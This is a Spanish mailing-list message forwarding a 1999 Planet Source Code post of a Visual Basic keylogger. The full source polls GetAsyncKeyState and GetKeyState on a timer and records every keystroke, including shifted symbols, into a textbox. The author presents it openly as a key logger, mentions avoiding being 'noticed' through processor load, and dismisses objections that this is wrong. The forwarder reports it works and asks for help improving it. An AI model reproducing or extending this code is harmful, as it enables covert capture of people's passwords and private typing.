Mensaje enviado por "SHANDD" <shandd@infovia.com.ar>

visual basic, vb, active server pages, asp,source code, programs, routines,
and files: Thousands FREE for the taking on Planet Source Code.


hola:

aca encontre algo... aunque no parece ser la solucion optima.. lo probe y funciona bastante bien y SIN NINGUNA DLL (adicional)!! lo unico que no diferencia mayusculas de minusculas.. ni los caracteres que estan sobre los teclas !@#$%^&**()!!... etc ya que no detecta (en un principio) la pulsacion simultanea del shift... si alguien entiende como poder mejorar esto.. (yo lo estoy analizando).. que me avise..
sigue pendiente tambien lo de la solucion via dll

aca va lo que encontre (que me sirve) sobre interceptar teclado (encontre otras cosas mas.. pero esto es lo mejorcito que encontre)


Submitted on: 10/8/1999
By: Robert Carter
Level: Intermediate
User Rating: By 5 Users
Compatibility:VB 5.0/6.0

Users have accessed this code 1726 times.


     Thanks for already voting my previous key logger the highest. There seems to be a war going on about key loggers right now and I had a need for one so Idecided to improve mine. It is about 60% faster than my last one and now handles Upper/Lower Case, numbers and !@#$%^&*/?+= and so on. Hope you like it. Oh, and to all you people saying that what we are doing is wrong and to hook it, I notice many of you talk but I am still waiting to see one functional keyboard hook in Visual Basic. At least we are posting code trying to help people out.


Windows API/Global Declarations:
Note:This code is formatted to be pasted directly into VB, Java, C or C++. Pasting it into other editors may or may not work.



'**************************************
'Windows API/Global Declarations for :A
' Better Key Logger - IMPROVED
'**************************************


Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long)
As Integer


Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long)
As Integer
    '(This is in the form as a Private Decla
    ' ration)

Source Code:
Note:This code is formatted to be pasted directly into VB, Java, C or C++.
Pasting it into other editors may or may not work.



'**************************************
' Name: A Better Key Logger - IMPROVED
' Description:Thanks for already voting
' my previous key logger the highest. Ther
' e seems to be a war going on about key l
' oggers right now and I had a need for on
' e so Idecided to improve mine. It is abo
' ut 60% faster than my last one and now h
' andles Upper/Lower Case, numbers and !@#
' $%^&*/?+= and so on. Hope you like it. O
' h, and to all you people saying that wha
' t we are doing is wrong and to hook it,
' I notice many of you talk but I am still
' waiting to see one functional keyboard h
' ook in Visual Basic. At least we are pos
' ting code trying to help people out.
' By: Robert Carter
'
'
' Inputs:none
'
' Returns:puts all keys in a textbox
'
'Assumes:Add a Textbox & Timer. Set Time
' r to about 10, anything higher will add
' processor usage and you may get 'noticed
'
'
'Side Effects:a nearly unnoticable highe
' r processor usage
'
'Warranty:
'Code provided by Planet Source Code(tm)
' (http://www.Planet-Source-Code.com) 'as
' is', without warranties as to performanc
' e, fitness, merchantability,and any othe
' r warranty (whether expressed or implied
' ).
'Terms of Agreement:
'By using this source code, you agree to
' the following terms...
' 1) You may use this source code in per
' sonal projects and may compile it into a
' n .exe/.dll/.ocx and distribute it in bi
' nary format freely and with no charge.
' 2) You MAY NOT redistribute this sourc
' e code (for example to a web site) witho
' ut written permission from the original
' author.Failure to do so is a violation o
' f copyright laws.
' 3) You may link to this code from anot
' her website, provided it is not wrapped
' in a frame.
' 4) The author of this code may have re
' tained certain additional copyright righ
' ts.If so, this is indicated in the autho
' r's description.
'**************************************



Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long)
As Integer


Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long)
As Integer
    Private Const SHIFT_KEY As Integer = 16
    ' there have been other key loggers that
    ' used GetAsyncKeySate to
    ' check the shift key, it doesn't work,
    ' must use GetKeyState
    Private KeyLoop As Integer
    Private KeyResult As Long
    Private bShift As Boolean
    Public sKeyPressed As String


Private Sub Timer1_Timer()
    If bGetKey Then Text1 = Text1 & sKeyPressed
End Sub


Public Function bGetKey() As Boolean
    ' if key pressed, stores Key Character i
    ' n sKeyPressed
    ' and returns true
    KeyLoop = 65


    Do Until KeyLoop = 91 ' check For letters
        KeyResult = GetAsyncKeyState(KeyLoop)


        If KeyResult = -32767 Then
            KeyResult = GetKeyState(SHIFT_KEY)
            sKeyPressed = IIf(KeyResult < 0, Chr(KeyLoop),
LCase(Chr(KeyLoop)))
            Goto KeyFound
        End If
        KeyLoop = KeyLoop + 1
    Loop
    KeyLoop = 48


    Do Until KeyLoop = 57 ' check For numbers
        KeyResult = GetAsyncKeyState(KeyLoop)


        If KeyResult = -32767 Then
            KeyResult = GetKeyState(SHIFT_KEY)


            If KeyResult < 0 Then
                If KeyLoop = 48 Then sKeyPressed = ")"
                If KeyLoop = 49 Then sKeyPressed = "!"
                If KeyLoop = 50 Then sKeyPressed = "@"
                If KeyLoop = 51 Then sKeyPressed = "#"
                If KeyLoop = 52 Then sKeyPressed = "$"
                If KeyLoop = 53 Then sKeyPressed = "%"
                If KeyLoop = 54 Then sKeyPressed = "^"
                If KeyLoop = 55 Then sKeyPressed = "&"
                If KeyLoop = 56 Then sKeyPressed = "*"
                If KeyLoop = 58 Then sKeyPressed = "("
            Else
                sKeyPressed = Chr(KeyLoop)
            End If
            Goto KeyFound
        End If
        KeyLoop = KeyLoop + 1
    Loop
    KeyResult = GetAsyncKeyState(13)' check For enter


    If KeyResult = -32767 Then
        sKeyPressed = vbCrLf
        Goto KeyFound
    End If
    KeyResult = GetAsyncKeyState(32)' check For space


    If KeyResult = -32767 Then
        sKeyPressed = " "
        Goto KeyFound
    End If
    KeyResult = GetAsyncKeyState(8)' check For Backspace


    If KeyResult = -32767 Then
        sKeyPressed = " BKSP "
        Goto KeyFound
    End If
    KeyResult = GetAsyncKeyState(46)' check For Del


    If KeyResult = -32767 Then
        sKeyPressed = " DEL "
        Goto KeyFound
    End If
    KeyResult = GetAsyncKeyState(190) ' check For period


    If KeyResult = -32767 Then
        KeyResult = GetKeyState(SHIFT_KEY)
        sKeyPressed = IIf(KeyResult < 0, ">", ".")
        Goto KeyFound
    End If
    KeyResult = GetAsyncKeyState(188) ' check For comma


    If KeyResult = -32767 Then
        KeyResult = GetKeyState(SHIFT_KEY)
        sKeyPressed = IIf(KeyResult < 0, "<", ",")
        Goto KeyFound
    End If
    KeyResult = GetAsyncKeyState(186)' check For colon


    If KeyResult = -32767 Then
        KeyResult = GetKeyState(SHIFT_KEY)
        sKeyPressed = IIf(KeyResult < 0, ":", ";")
        Goto KeyFound
    End If
    KeyResult = GetAsyncKeyState(191)' check For question mark


    If KeyResult = -32767 Then
        KeyResult = GetKeyState(SHIFT_KEY)
        sKeyPressed = IIf(KeyResult < 0, "?", "/")
        Goto KeyFound
    End If
    KeyResult = GetAsyncKeyState(222)' check For quotes


    If KeyResult = -32767 Then
        KeyResult = GetKeyState(SHIFT_KEY)
        sKeyPressed = IIf(KeyResult < 0, """", "'")
        Goto KeyFound
    End If
    KeyResult = GetAsyncKeyState(192)' and so On


    If KeyResult = -32767 Then
        KeyResult = GetKeyState(SHIFT_KEY)
        sKeyPressed = IIf(KeyResult < 0, "~", "`")
        Goto KeyFound
    End If
    KeyResult = GetAsyncKeyState(189)


    If KeyResult = -32767 Then
        KeyResult = GetKeyState(SHIFT_KEY)
        sKeyPressed = IIf(KeyResult < 0, "_", "-")
        Goto KeyFound
    End If
    KeyResult = GetAsyncKeyState(187)


    If KeyResult = -32767 Then
        KeyResult = GetKeyState(SHIFT_KEY)
        sKeyPressed = IIf(KeyResult < 0, "+", "=")
        Goto KeyFound
    End If
    bGetKey = False' If you get here, no key found
    Exit Function
    KeyFound:
    bGetKey = True
End Function